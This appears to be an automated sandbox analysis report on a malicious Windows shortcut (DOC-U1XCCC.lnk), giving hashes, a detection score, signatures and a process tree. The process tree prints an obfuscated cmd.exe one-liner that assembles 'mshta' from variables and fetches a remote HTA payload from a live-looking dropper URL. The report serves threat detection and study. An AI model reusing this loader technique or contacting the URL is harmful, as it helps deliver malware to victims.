Analysis
- max time kernel
60s - max time network
27s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260710-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
22/08/2026, 09:00
Static task
static1
Behavioral task
behavioral1
Sample
DOC-U1XCCC.lnk
Resource
win10v2004-20260513-en
4 signatures
60 seconds
Behavioral task
behavioral2
Sample
DOC-U1XCCC.lnk
Resource
win11ltsc2024-20260710-en
3 signatures
60 seconds
General
- Target DOC-U1XCCC.lnk
- Size 1KB
- Sample260822-kysfwasgph
- SHA256 7225a71dc3253875193ba12748a14d57959756849ab1e1169a8aedce1dc64e75
- MD5 481a41e8c118d251634a338c4c9473b8
- SHA1 77218c34fcbc021cc1628d964de34db22410828b
- SHA512 57152a9a6e97f8737946228d0b56b7c5bd1d68d22ccfcaf41cdcd0441c1ba5ea2bfe605ce7ef024300d333560f53aa5801f7d17fd39b1a004f644c782cc74ab4
- TLSH T1E73197003EFC0628F3F3AF7280BB571089BBB9568E20CA1D0141860C1032A02E6BAF77
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4424 cmd.exe 3760 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4424 wrote to memory of 3760 4424 cmd.exe 90 PID 3760 wrote to memory of 2456 3760 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-U1XCCC.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4424 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /v:on /C "set nMkV=msh&&set tcVgO=ta&&start "" !nMkV!!tcVgO! https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3760 -
C:\Windows\System32\mshta.exemshta https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D13⤵PID:2456
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